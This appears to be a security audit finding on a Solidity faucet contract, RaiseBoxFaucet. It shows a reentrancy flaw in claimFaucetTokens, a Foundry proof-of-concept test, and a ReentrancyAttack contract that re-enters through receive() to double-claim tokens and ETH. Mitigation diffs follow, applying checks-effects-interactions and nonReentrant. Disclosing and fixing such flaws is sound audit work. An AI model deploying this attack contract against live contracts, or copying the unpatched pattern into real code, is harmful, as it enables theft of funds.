...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
...
function test_claimFaucetTokens_ReentrancyAttack() public {
uint256 faucetTokenBalanceBefore = raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
uint256 faucetEthBalanceBefore = address(raiseBoxFaucet).balance;
console.log("Initial RaiseBoxFaucet token balance:", faucetTokenBalanceBefore);
console.log("Initial ETH balance in faucet:", faucetEthBalanceBefore);
vm.prank(blackHat);
ReentrancyAttack attackerContract = new ReentrancyAttack(address(raiseBoxFaucet));
uint256 attackerTokenBalanceBefore = raiseBoxFaucet.balanceOf(address(attackerContract));
uint256 attackerEthBalanceBefore = address(attackerContract).balance;
console.log("Attacker contract token balance before attack:", attackerTokenBalanceBefore);
console.log("Attacker contract ETH balance before attack:", attackerEthBalanceBefore);
vm.warp(block.timestamp + 3 days);
vm.roll(block.number + 1);
vm.prank(blackHat);
attackerContract.attack();
uint256 faucetTokenBalanceAfter = raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
uint256 faucetEthBalanceAfter = address(raiseBoxFaucet).balance;
console.log("RaiseBoxFaucet token balance after attack:", faucetTokenBalanceAfter);
console.log("ETH balance in faucet after attack:", faucetEthBalanceAfter);
uint256 attackerTokenBalanceAfter = raiseBoxFaucet.balanceOf(address(attackerContract));
uint256 attackerEthBalanceAfter = address(attackerContract).balance;
console.log("Attacker contract token balance after attack:", attackerTokenBalanceAfter);
console.log("Attacker contract ETH balance after attack:", attackerEthBalanceAfter);
assertEq(attackerEthBalanceAfter, attackerEthBalanceBefore + raiseBoxFaucet.sepEthAmountToDrip());
assertEq(attackerTokenBalanceAfter, attackerTokenBalanceBefore + 2 * raiseBoxFaucet.faucetDrip());
}
}
contract ReentrancyAttack {
RaiseBoxFaucet raiseBoxFaucet;
address owner;
constructor(address _raiseBoxFaucet) {
raiseBoxFaucet = RaiseBoxFaucet(payable(_raiseBoxFaucet));
owner = msg.sender;
}
function attack() external {
raiseBoxFaucet.claimFaucetTokens();
}
receive() external payable {
raiseBoxFaucet.claimFaucetTokens();
}
}
Fix CEI pattern entirely by e.g. remember ETH claim eligibility and send later
...
bool canReceiveEth = !hasClaimedEth[msg.sender] && !sepEthDripsPaused;
bool dailySepEthCapNotReached = currentDailyDrips + sepEthAmountToDrip <= dailySepEthCap;
bool contractHoldsEnoughSepEth = address(this).balance >= sepEthAmountToDrip
if (canReceiveEth && dailySepEthCapNotReached && contractHoldsEnoughSepEth) {
ethToSend = sepEthAmountToDrip;
}
}
if (ethToSend > 0) {
(bool success,) = msg.sender.call{value: ethToSend}("");
if (success) {
emit SepEthDripped(msg.sender, ethToSend);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
- remove this code
+ add this code
// SPDX-Lincense-Identifier: MIT
pragma solidity ^0.8.30;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
....
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
....